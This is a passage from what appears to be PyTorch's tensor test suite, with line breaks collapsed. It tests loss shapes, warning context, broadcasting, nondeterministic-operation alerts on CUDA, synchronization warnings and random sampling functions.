torch.nn.functional.multilabel_margin_loss(input, target, reduction='none').shape) self.assertEqual((), torch.nn.functional.multilabel_margin_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.multilabel_margin_loss(input, target, reduction='sum').shape) else: self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='none')) self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='mean')) self.assertRaises(RuntimeError, lambda: torch.nn.functional.multilabel_margin_loss(input, target, reduction='sum')) # multi_margin_loss for input in (zero_d, one_d, torch.randn(1, 1, device=device)): for target in (torch.tensor(0, device=device), torch.tensor([0], device=device)): self.assertEqual(target.shape, torch.nn.functional.multi_margin_loss(input, target, reduction='none').shape) self.assertEqual((), torch.nn.functional.multi_margin_loss(input, target, reduction='mean').shape) self.assertEqual((), torch.nn.functional.multi_margin_loss(input, target, reduction='sum').shape) # Uses mismatched arange out size to trigger a warning def test_cpp_warnings_have_python_context(self, device): # Creates long string in advance to avoid a too-long Python line s = ".+Triggered internally at.+RangeFactories.+" def cpp_warn_fn(): out = torch.empty((5,)) torch.arange(0, 3, out=out) return out # Checks eager-mode cpp warning with warnings.catch_warnings(record=True) as w: cpp_warn_fn() frameinfo = inspect.getframeinfo(inspect.currentframe()) warning = w[0] # Checks for cpp context in the warning message self.assertTrue(re.search(s, str(warning.message)) is not None) # Checks the Python features of the warning # Note: the eager mode warning refers to the line in the function # that throws the warning. self.assertEqual(frameinfo.lineno - 6, warning.lineno) self.assertEqual(len(w), 1) # Checks jitted cpp warning with warnings.catch_warnings(record=True) as w: scripted_cpp_warn_fn = torch.jit.script(cpp_warn_fn) scripted_cpp_warn_fn() warning = w[0] # Checks for cpp context in the warning message self.assertTrue(re.search(s, str(warning.message)) is not None) # Checks the Python features of the warning # Note: the jitted warning's lineno refers to the call to the jitted # function, which in our test suite has a layer of indirection # that makes checking the Python lineno fragile self.assertEqual(len(w), 1) # Checks jitted Python warning def warn_fn(): warnings.warn("Warning!") # The jit mimics an eager-mode Python warning in this case with warnings.catch_warnings(record=True) as w: scripted_warn_fn = torch.jit.script(warn_fn) scripted_warn_fn() frameinfo = inspect.getframeinfo(inspect.currentframe()) warning = w[0] self.assertTrue(re.search('Warning!', str(warning.message)) is not None) # Checks the Python features of the warning self.assertEqual(frameinfo.lineno - 6, warning.lineno) self.assertEqual(len(w), 1) @onlyCPU def test_warn_always_caught(self, device): # Check that we can catch a TORCH_WARN_ONCE warning twice # since assertWarnsOnceRegex uses set_warn_always(True) which changes # TORCH_WARN_ONCE to TORCH_WARN a = np.arange(10) a.flags.writeable = False with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) # OK, got it once, now try again with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) # Make sure emitting two warnings will pass the assertWarnsOnceRegex # context manager with self.assertWarnsOnceRegex(UserWarning, '.*non-writeable.*'): torch.from_numpy(a) torch.from_numpy(a) # TODO: this test should be in test_nn.py def test_conv_transposed_backward_agnostic_to_memory_format(self, device): in_channels = 64 out_channels = 128 scale_factor = 8 batch_size = 8 length = 16 conv = torch.nn.ConvTranspose1d( in_channels, out_channels, kernel_size=scale_factor * 2, stride=scale_factor).to(device) layer_norm = torch.nn.LayerNorm(out_channels).to(device) input_ = torch.randn(batch_size, in_channels, length).to(device).contiguous() input_ = conv(input_).contiguous() input_ = layer_norm(input_.transpose(1, 2).contiguous()).contiguous() input_.sum().backward() # TODO: this test should be in test_nn.py @onlyCUDA @largeTensorTest('12GB') def test_conv_transposed_large(self, device): # ConvTranspose3d works for large input tensors (gh-32866) in_channels = 64 out_channels = 128 kernel_size = 5 conv = torch.nn.ConvTranspose3d( in_channels, out_channels, kernel_size=kernel_size, stride=2, padding=2, output_padding=1).to(device) x = torch.rand([1, 64, 8, 128, 172]).to(device) y = conv(x) def test_is_set_to(self, device): t1 = torch.empty(3, 4, 9, 10, device=device) t2 = torch.empty(3, 4, 9, 10, device=device) t3 = torch.tensor([], device=device).set_(t1) t4 = t3.clone().resize_(12, 90) self.assertFalse(t1.is_set_to(t2)) self.assertTrue(t1.is_set_to(t3)) self.assertTrue(t3.is_set_to(t1), "is_set_to should be symmetric") self.assertFalse(t1.is_set_to(t4)) self.assertFalse(torch.tensor([]).is_set_to(torch.tensor([])), "Tensors with no storages should not appear to be set " "to each other") t1 = torch.tensor([True, True], dtype=torch.bool, device=device) t2 = torch.tensor([0], dtype=torch.bool, device=device).set_(t1) self.assertTrue(t1.is_set_to(t2)) # test that sizes must match t1 = torch.empty([2, 3, 4], device=device) t2 = t1.view(4, 3, 2) self.assertFalse(t1.is_set_to(t2)) self.assertFalse(t2.is_set_to(t1)) # test that legacy empty size behavior used to be respected (i.e. all # empty tensors were logically collapsed to size [0]). t1 = torch.empty([2, 5, 0], device=device) t2 = t1.view([0]) self.assertFalse(t1.is_set_to(t2)) self.assertFalse(t2.is_set_to(t1)) def test_broadcast(self, device): # all functions fns = { "dist", "atan2", "pow", "lerp", "add", "sub", "mul", "div", "fmod", "remainder", "eq", "ge", "gt", "le", "lt", "max", "min", "ne", "addcdiv", "addcmul", "masked_scatter", "masked_select", "masked_fill", "map", "map2", "copy" } # functions with three tensor arguments fns_3_args = {"map2"} fns_value_kwarg = {"addcdiv", "addcmul"} for fn in fns: (dims_small, dims_large, dims_full) = self._select_broadcastable_dims() full1d = torch.randn(*dims_full, device=device).flatten().float() small = torch.randn(*dims_small, device=device).float() large = torch.randn(*dims_large, device=device).float() small_expanded = small.expand(*dims_full) large_expanded = large.expand(*dims_full) small2 = None small2_expanded = None if fn in fns_3_args or fn in fns_value_kwarg: # create another smaller tensor (dims_small2, _, _) = self._select_broadcastable_dims(dims_full) small2 = torch.randn(*dims_small2, device=device).float() small2_expanded = small2.expand(*dims_full) if small.is_cuda and fn in ['map', 'map2']: # map and map2 are not implementd on CUDA tensors continue if hasattr(large_expanded, fn): # run through tensor versions of functions # and verify fully expanded inputs give same results expanded = {large: large_expanded, small: small_expanded, small2: small2_expanded} def tensorfn(myfn, t1, t2): if fn == "lerp": return myfn(t1, 0.5) elif fn == "masked_select": return myfn(t1 < 0) elif fn == "masked_scatter": return myfn(t1 < 0.5, full1d) elif fn == "masked_fill": return myfn(t1 < 0.5, 1.0) elif fn in fns_3_args: return myfn(1, t1, t2) elif fn in fns_value_kwarg: return myfn(t1, t2, value=1) else: return myfn(t1) # test various orders for first, second, third in [(large, small, small2), (small, large, small2), (small2, small, large), (small2, large, small)]: if first is None: break # ignore last iter when small2 is None method_expanded = getattr(expanded[first], fn) method = getattr(first, fn) r1 = tensorfn(method_expanded, expanded[second], expanded[third]) r2 = tensorfn(method, second, third) self.assertEqual(r1, r2) # now for torch. versions of functions if hasattr(torch, fn): fntorch = getattr(torch, fn) expanded = {large: large_expanded, small: small_expanded, small2: small2_expanded} def torchfn(t1, t2, t3): if fn == "lerp": return fntorch(t1, t2, 0.5) elif fn == "masked_select": return fntorch(t1, t2 < 0) elif fn == "masked_scatter": return fntorch(t1, t2 < 0.5, full1d) elif fn == "masked_fill": return fntorch(t1, t2 < 0.5, 1.0) elif fn in fns_3_args: return fntorch(t1, 1.0, t2, t3) elif fn in fns_value_kwarg: return fntorch(t1, t2, t3, value=1.0) else: return fntorch(t1, t2) # test various orders for first, second, third in [(large, small, small2), (small, large, small2), (small2, small, large), (small2, large, small)]: if first is None: break # ignore last iter when small2 is None r1 = torchfn(expanded[first], expanded[second], expanded[third]) r2 = torchfn(first, second, third) self.assertEqual(r1, r2) # now for in place functions # in-place tensor is not broadcastable; test only guaranteed # to work by broadcasting other argument(s) if not hasattr(large_expanded, fn + "_"): continue # need to clone largeExpanded so we can reuse, since functions are in-place large_expanded_clone = large_expanded.clone() def tensorfn_inplace(t0, t1, t2=None): t0_fn = getattr(t0, fn + "_") if fn == "lerp": return t0_fn(t1, 0.5) elif fn == "masked_scatter": return t0_fn(t1 < 0.5, full1d) elif fn == "masked_fill": return t0_fn(t1 < 0.5, 1.0) elif fn == "map": return t0_fn(t1, lambda x, y: x + y) elif fn == "map2": return t0_fn(t1, t2, lambda x, y, z: x + y + z) elif fn in fns_3_args: return t0_fn(1.0, t1, t2) elif fn in fns_value_kwarg: return t0_fn(t1, t2, value=1.0) else: return t0_fn(t1) # in-place pointwise operations don't actually work if the in-place # tensor is 0-strided (numpy has the same issue) if (0 not in large_expanded.stride() and 0 not in large_expanded_clone.stride()): r1 = tensorfn_inplace(large_expanded, small_expanded, small2_expanded) r2 = tensorfn_inplace(large_expanded_clone, small, small2) self.assertEqual(r1, r2) def broadcastable(t0, t1, t2=None): try: t1.expand_as(t0) if t2 is not None: t2.expand_as(t0) except RuntimeError: return False return True def _test_in_place_broadcastable(t0, t1, t2=None): if not broadcastable(t0, t1, t2): same_size = t0.numel() == t1.numel() and (t0.numel() == t2.numel() if t2 is not None else True) if not same_size: self.assertRaises(RuntimeError, lambda: tensorfn_inplace(t0, t1, t2)) else: tensorfn_inplace(t0, t1, t2) if fn not in fns_3_args and fn not in fns_value_kwarg: _test_in_place_broadcastable(small, large_expanded) _test_in_place_broadcastable(small, large) else: _test_in_place_broadcastable(small2, small_expanded, large_expanded) _test_in_place_broadcastable(small2, small, large) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "cublas runtime error") @onlyCUDA @wrapDeterministicFlagAPITest def test_cublas_config_nondeterministic_alert(self, device): test_cases = [ # (function, (tensor sizes)) ('mm', ((2, 2), (2, 2),)), ('mv', ((2, 2), (2,),)), ('bmm', ((1, 2, 2), (1, 2, 2),))] test_configs = [ # (CuBLAS workspace config, is deterministic) ('garbage', False), (None, False), (':4096:8', True), (':16:8', True)] cublas_var_name = 'CUBLAS_WORKSPACE_CONFIG' is_cuda10_2_or_higher = ( (torch.version.cuda is not None) and ([int(x) for x in torch.version.cuda.split(".")] >= [10, 2])) def test_case_info(fn_name, config): return f'function "{fn_name}' with config '{'' if config is None else config}"' # Create processes to test each combination of test cases and config settings processes = [] for fn_name, arg_sizes in test_cases: for config, is_config_deterministic in test_configs: env = os.environ.copy() if config is None: if env.get(cublas_var_name) is not None: del env[cublas_var_name] else: env[cublas_var_name] = config should_throw_error = is_cuda10_2_or_higher and not is_config_deterministic script = f""" import torch torch.use_deterministic_algorithms(True) fn = torch.{fn_name} arg_sizes = {arg_sizes} device = '{device}' should_throw_error = {should_throw_error} args = [] for arg_size in arg_sizes: args.append(torch.randn(*arg_size, device=device)) try: fn(*args) except RuntimeError as e: if not should_throw_error: raise RuntimeError('Did not expect any error to be raised') elif 'Deterministic behavior was enabled with either' not in str(e): raise RuntimeError('Expected a CuBLAS nondeterministic error, but got a different error') else: if should_throw_error: raise RuntimeError('Expected a CuBLAS nondeterministic error, but it was not raised') """ try: subprocess.check_output( [sys.executable, '-c', script], stderr=subprocess.STDOUT, # On Windows, opening the subprocess with the default CWD makes `import torch` # fail, so just set CWD to this script's directory cwd=os.path.dirname(os.path.realpath(__file__)), env=env) except subprocess.CalledProcessError as e: self.fail(msg=( f'Subprocess exception while attempting to run {test_case_info(fn_name, config)}:\n' + e.output.decode("utf-8"))) def test_nondeterministic_alert_AvgPool3d(self, device): module = torch.nn.AvgPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('avg_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveAvgPool2d(self, device): module = torch.nn.AdaptiveAvgPool2d(3) input = torch.randn(2, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_avg_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveAvgPool3d(self, device): module = torch.nn.AdaptiveAvgPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_avg_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_MaxPool3d(self, device): module = torch.nn.MaxPool3d(3) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('max_pool3d_with_indices_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_AdaptiveMaxPool2d(self, device): module = torch.nn.AdaptiveMaxPool2d(3) input = torch.randn(2, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('adaptive_max_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_FractionalMaxPool2d(self, device): module = torch.nn.FractionalMaxPool2d(2, output_ratio=0.5) input = torch.randn(2, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('fractional_max_pool2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_FractionalMaxPool3d(self, device): module = torch.nn.FractionalMaxPool3d(2, output_ratio=0.5) input = torch.randn(2, 3, 3, 3, 3, requires_grad=True, device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('fractional_max_pool3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_linear(self, device): input = torch.randn(1, 2, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='linear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_linear1d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_bilinear(self, device): input = torch.randn(1, 2, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='bilinear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_bilinear2d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_bicubic(self, device): input = torch.randn(1, 2, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='bicubic', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_bicubic2d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_interpolate_trilinear(self, device): input = torch.randn(1, 2, 4, 4, 4, device=device, requires_grad=True) res = torch.nn.functional.interpolate( input, size=12, mode='trilinear', align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('upsample_trilinear3d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad1d(self, device): module = torch.nn.ReflectionPad1d((1, 2)) input = torch.randn(2, 3, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad1d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad2d(self, device): module = torch.nn.ReflectionPad2d((1, 2, 3, 4)) input = torch.randn(2, 3, 8, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReflectionPad3d(self, device): module = torch.nn.ReflectionPad3d((1, 2, 3, 4, 5, 6)) input = torch.randn(2, 3, 8, 8, 8, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('reflection_pad3d_backward_out_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad1d(self, device): module = torch.nn.ReplicationPad1d((1, 2)) input = torch.randn(2, 3, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad1d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad2d(self, device): module = torch.nn.ReplicationPad2d((1, 2, 3, 4)) input = torch.randn(2, 3, 4, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_ReplicationPad3d(self, device): module = torch.nn.ReplicationPad3d((1, 2, 3, 4, 5, 6)) input = torch.randn(2, 3, 4, 4, 4, device=device, requires_grad=True) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('replication_pad3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_NLLLoss(self, device): module = torch.nn.NLLLoss() input = torch.randn(2, 3, 5, 5, device=device) target = torch.rand(2, 5, 5, device=device).mul(3).floor().long() @expectedAlertNondeterministic('nll_loss2d_forward_out_cuda_template', 'cuda') def forward_func(slf, device): module(input, target) forward_func(self, device) def test_nondeterministic_alert_CTCLoss(self, device): module = torch.nn.CTCLoss() input = torch.randn(50, 3, 15, device=device, requires_grad=True) target = torch.randint(0, 14, (3, 30), device=device) input_lengths = [50, 50, 50] target_lengths = [30, 25, 20] res = module(input, target, input_lengths, target_lengths) grad = torch.ones_like(res) @expectedAlertNondeterministic('ctc_loss_backward_gpu', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_EmbeddingBag_max(self, device): module = torch.nn.EmbeddingBag( 4, 3, None, 2., False, 'max', _weight=torch.randn(4, 3, device=device, requires_grad=True)) input = torch.randint(0, 3, (4, 3), device=device) res = module(input) grad = torch.ones_like(res) @expectedAlertNondeterministic('embedding_bag_backward_cuda_max', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_scatter_add(self, device): def test_func(op_call): input = torch.randn(5, 4, device=device) dim = 0 index = torch.tensor([[3]], device=device) src = torch.tensor([[1.0]], device=device) @expectedAlertNondeterministic('scatter_add_cuda_kernel', 'cuda') def forward_func(slf, device): op_call(input, dim, index, src) forward_func(self, device) test_func(torch.Tensor.scatter_add_) test_func(torch.Tensor.scatter_add) test_func(torch.scatter_add) @onlyOnCPUAndCUDA def test_nondeterministic_alert_put(self, device): def test_func(op_call): a = torch.randn(10, device=device) indices = torch.tensor([0, 0], device=device) values = torch.tensor([0., 1.], device=device) @expectedAlertNondeterministic('put_') def forward_func(slf, device): op_call(a, indices, values, accumulate=False) forward_func(self, device) test_func(torch.Tensor.put) test_func(torch.Tensor.put_) def test_nondeterministic_alert_put_accumulate(self, device): def test_func(op_call): a = torch.randn(10, device=device) indices = torch.tensor([0, 0], device=device) values = torch.tensor([0., 1.], device=device) @expectedAlertNondeterministic('put_', 'cuda') def forward_func(slf, device): op_call(a, indices, values, accumulate=True) forward_func(self, device) test_func(torch.Tensor.put) test_func(torch.Tensor.put_) def test_nondeterministic_alert_histc(self, device): def test_func(op_call): a = torch.tensor([], device=device) @expectedAlertNondeterministic('_histc_cuda', 'cuda') def forward_func(slf, device): res = op_call(a, min=0, max=3) forward_func(self, device) test_func(torch.histc) test_func(torch.Tensor.histc) def test_nondeterministic_alert_bincount(self, device): def test_func(op_call): a = torch.tensor([], device=device, dtype=torch.long) @expectedAlertNondeterministic('_bincount_cuda', 'cuda') def forward_func(slf, device): res = op_call(a) forward_func(self, device) test_func(torch.bincount) test_func(torch.Tensor.bincount) # Ensures that kthvalue throws nondeterministic alerts in the correct cases @dtypes(torch.double) def test_nondeterministic_alert_kthvalue(self, device, dtype): @expectedAlertNondeterministic('kthvalue CUDA', 'cuda') def test_func(slf, device, call_type): S = 10 k = 5 a = torch.randn(S, device=device) if call_type == 'function': torch.kthvalue(a, k) elif call_type == 'method': a.kthvalue(k) elif call_type == 'out': values = torch.empty_like(a) indices = torch.empty((), device=device, dtype=torch.long) torch.kthvalue(a, k, out=(values, indices)) else: self.fail(f"'{call_type}' is not a valid call type") test_func(self, device, 'function') test_func(self, device, 'method') test_func(self, device, 'out') @onlyOnCPUAndCUDA def test_nondeterministic_alert_gather(self, device): def test_func(op_call): a = torch.randn(3, 3, device=device, requires_grad=True) dim = 0 index = torch.tensor([[0]], device=device) res = op_call(a, dim, index) grad = torch.ones_like(res) @expectedAlertNondeterministic('scatter_add_cuda_kernel', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) test_func(torch.gather) test_func(torch.Tensor.gather) def test_nondeterministic_alert_grid_sample_2d(self, device): input = torch.empty(1, 1, 2, 2, device=device, requires_grad=True) grid = torch.empty(1, 1, 1, 2, device=device) res = torch.nn.functional.grid_sample(input, grid, align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('grid_sampler_2d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_nondeterministic_alert_grid_sample_3d(self, device): input = torch.empty(1, 1, 2, 2, 2, device=device, requires_grad=True) grid = torch.empty(1, 1, 1, 2, 3, device=device) res = torch.nn.functional.grid_sample(input, grid, align_corners=False) grad = torch.ones_like(res) @expectedAlertNondeterministic('grid_sampler_3d_backward_cuda', 'cuda') def backward_func(slf, device): res.backward(grad) backward_func(self, device) def test_embedding_scalar_weight_error(self, device): indices = torch.rand(2, 2, device=device).long() weights = [ torch.tensor(1.0, device=device), torch.tensor(1.0, device=device).reshape(1, 1, 1), ] for weight in weights: with self.assertRaisesRegex(RuntimeError, "'weight' must be 2-D"): torch.embedding(weight, indices) def test_dist(self, device): def run_test(x, y): for p in [0, 1, 2, 3, 4, inf, -inf]: dist_xy = torch.dist(x, y, p) dist_xy_norm = torch.norm(x - y, p) self.assertEqual(dist_xy, dist_xy_norm) run_test(torch.randn(5, device=device), torch.randn(5, device=device)) x = torch.zeros(3, device=device) y = torch.zeros(3, device=device) y[1] = 1. run_test(x, y) # Ensures that median throws nondeterministic alerts in the correct cases @dtypes(torch.double) def test_nondeterministic_alert_median(self, device, dtype): def test_func(slf, device, call_type): S = 10 a = torch.randn(S, device=device) if call_type == 'function': torch.median(a) elif call_type == 'function with indices': torch.median(a, 0) elif call_type == 'method': a.median() elif call_type == 'method with indices': a.median(0) elif call_type == 'out with indices': result = torch.empty_like(a) indices = torch.empty((), dtype=torch.long, device=device) torch.median(a, 0, out=(result, indices)) else: self.fail(f"'{call_type}' is not a valid call type") @expectedAlertNondeterministic('median CUDA with indices output', 'cuda') def test_func_expect_error(slf, device, call_type): test_func(slf, device, call_type) test_func(self, device, 'function') test_func_expect_error(self, device, 'function with indices') test_func(self, device, 'method') test_func_expect_error(self, device, 'method with indices') test_func_expect_error(self, device, 'out with indices') def _test_gather_backward_one_dim(self, device, deterministic: bool = False) -> None: with DeterministicGuard(deterministic): m = random.randint(2000, 3000) elems = random.randint(10 * m, 20 * m) dim = 0 src = torch.randn(m, device=device, requires_grad=True) idx = torch.randint(m, (elems,), device=device) res = torch.gather(src, dim, idx) weight = torch.rand_like(res, device=device) * 10 ** 6 res.backward(weight) grad = src.grad.detach().clone() if torch.device(device).type == 'cuda': for _ in range(2): src.grad.data.zero_() res = torch.gather(src, dim, idx) res.backward(weight) self.assertEqual(src.grad, grad, atol=0, rtol=0) else: expected = torch.zeros_like(src, device=device) for i in range(elems): expected[idx[i]] += weight[i] self.assertEqual(grad, expected, atol=0, rtol=0) @onlyOnCPUAndCUDA def test_gather_backward_deterministic_path(self, device) -> None: self._test_gather_backward_one_dim(device, True) @onlyCPU def test_gather_backward_one_dim(self, device) -> None: self._test_gather_backward_one_dim(device, False) @onlyOnCPUAndCUDA def test_scatter_add_one_dim_deterministic(self, device) -> None: with DeterministicGuard(True): m = random.randint(20, 30) elems = random.randint(2000 * m, 3000 * m) dim = 0 src = torch.randn(elems, device=device) idx = torch.randint(m, (elems,), device=device) x = torch.zeros(m, device=device) res = x.scatter_add(dim, idx, src) expected = torch.zeros(m, device=device) for i in range(elems): expected[idx[i]] += src[i] self.assertEqual(res, expected, atol=0, rtol=0) @onlyCUDA def test_sync_warning(self, device): def _sync_raises_helper(f, level): with CudaSyncGuard(level): if level == 1: with self.assertWarnsRegex(UserWarning, "called a synchronizing "): f() elif level == 2: with self.assertRaisesRegex(RuntimeError, "called a synchronizing "): f() def _no_sync_helper(f, level): with CudaSyncGuard(level): f() def _ind_put_fn(x, ind, val): x[ind] = val return x def _ind_get_fn(x, ind): return x[ind] def _cond_fn(x): if x: # taking boolean value of a tensor synchronizes return x else: return 2 * x # prepare inputs for subsequent ops size = 4 x = torch.rand(size, device=device) y = torch.rand((), device=device) ind = torch.randint(size, (3,), device=device) ind_cpu = ind.cpu() repeats = torch.full((1,), 2, device=device) mask = torch.randint(2, (size,), device=device, dtype=bool) expect_no_sync = (lambda: _ind_put_fn(x, mask, 1.), lambda: _ind_put_fn(x, ind, y), lambda: _ind_get_fn(x, ind), lambda: torch.nn.functional.one_hot(ind, num_classes=size), lambda: torch.randperm(20000, device=device), lambda: torch.repeat_interleave(x, 2, output_size=2 * size), lambda: torch.repeat_interleave(x, repeats, output_size=2 * size)) expect_sync = (lambda: _ind_put_fn(x, mask, y), lambda: _ind_put_fn(x, ind_cpu, y), lambda: _ind_get_fn(x, mask), lambda: _ind_get_fn(x, ind_cpu), lambda: x.nonzero(), lambda: _cond_fn(y), lambda: torch.nn.functional.one_hot(ind), lambda: torch.repeat_interleave(x, 2), lambda: torch.repeat_interleave(x, repeats)) for f, level in product(expect_no_sync, (1, 2)): _no_sync_helper(f, level) for f, level in product(expect_sync, (1, 2)): _sync_raises_helper(f, level) @dtypes(*get_all_fp_dtypes()) def test_log_normal(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).log_normal_() self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) @dtypes(*(get_all_int_dtypes() + get_all_fp_dtypes())) def test_geometric(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).geometric_(0.5) self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) def test_repeat_interleave(self, device): y = torch.tensor([[1, 2], [3, 4]], device=device) # exercise single argument function signature temp = y.repeat_interleave(2) self.assertEqual(torch.Size([8]), temp.size()) for dtype in [torch.int, torch.long]: lengths = torch.tensor([1, 2], dtype=dtype, device=device) output_size = torch.sum(lengths) a = torch.repeat_interleave( y, lengths, dim=0, ) self.assertEqual(a.dtype, y.dtype) self.assertEqual(a.size(), torch.Size([3, 2])) a_with_output = torch.repeat_interleave( y, lengths, dim=0, output_size=output_size, ) self.assertEqual(a_with_output.dtype, y.dtype) self.assertEqual(a_with_output.size(), torch.Size([3, 2])) @dtypes(*get_all_fp_dtypes(include_half=False, include_bfloat16=False)) @dtypesIfCPU(*(get_all_fp_dtypes(include_half=False, include_bfloat16=True))) @dtypesIfCUDA(*(get_all_fp_dtypes(include_bfloat16=False))) def test_bernoulli_p(self, device, dtype): for trivial_p in ([0, 1], [1, 0, 1, 1, 0, 1]): x = torch.tensor(trivial_p, dtype=dtype, device=device) self.assertEqual(x.bernoulli().tolist(), trivial_p) def isBinary(t): return torch.ne(t, 0).mul_(torch.ne(t, 1)).sum().item() == 0 p = torch.rand(5, 5, dtype=dtype, device=device) self.assertTrue(isBinary(p.bernoulli())) p = torch.rand(5, dtype=dtype, device=device).expand(5, 5) self.assertTrue(isBinary(p.bernoulli())) p = torch.rand(5, 5, dtype=dtype, device=device) torch.bernoulli(torch.rand_like(p), out=p) self.assertTrue(isBinary(p)) # RngUniform not implemented for Integral type in XLA test @dtypes(*(get_all_fp_dtypes(include_half=False, include_bfloat16=False))) @dtypesIfCPU(*(get_all_dtypes(include_half=False, include_bfloat16=False, include_complex=False))) @dtypesIfCUDA(*(get_all_dtypes(include_bfloat16=False, include_complex=False))) def test_bernoulli_self(self, device, dtype): def isBinary(t): return torch.ne(t, 0).mul_(torch.ne(t, 1)).sum().item() == 0 t = torch.empty(10, 10, dtype=dtype, device=device) t.fill_(2) t.bernoulli_(0.5) self.assertTrue(isBinary(t)) for p_dtype in get_all_fp_dtypes(include_half=device.startswith('cuda'), include_bfloat16=False): p = torch.rand(10, dtype=p_dtype, device=device).expand(10, 10) t.fill_(2) t.bernoulli_(p) self.assertTrue(isBinary(t)) t.fill_(2) torch.bernoulli(torch.rand_like(t, dtype=p_dtype), out=t) self.assertTrue(isBinary(t)) t.fill_(2) t.bernoulli_(torch.rand_like(t, dtype=p_dtype)) self.assertTrue(isBinary(t)) @slowTest @dtypes(*(get_all_fp_dtypes(include_half=False, include_bfloat16=False))) @dtypesIfCUDA(*(get_all_fp_dtypes(include_bfloat16=False))) def test_bernoulli_edge_cases(self, device, dtype): # Need to draw a lot of samples to cover every random floating point number. a = torch.zeros(10000, 10000, dtype=dtype, device=device) # probability of drawing "1" is 0 num_ones = (torch.bernoulli(a) == 1).sum() self.assertEqual(num_ones, 0) b = torch.ones(10000, 10000, dtype=dtype, device=device) # probability of drawing "1" is 1 num_zeros = (torch.bernoulli(b) == 0).sum() self.assertEqual(num_zeros, 0) @dtypes(*get_all_fp_dtypes()) def test_exponential(self, device, dtype): a = torch.tensor([10], dtype=dtype, device=device).exponential_(0.5) self.assertEqual(a.dtype, dtype) self.assertEqual(a.size(), torch.Size([1])) # Tests extremal behavior tests = ((-0, float('inf')), (0, float('inf')), (float('inf'), 0)) for test in tests: t = torch.empty((1,), device=device, dtype=dtype).exponential_(test[0]) self.assertTrue(t.item() == test[1]) # Tests that negative 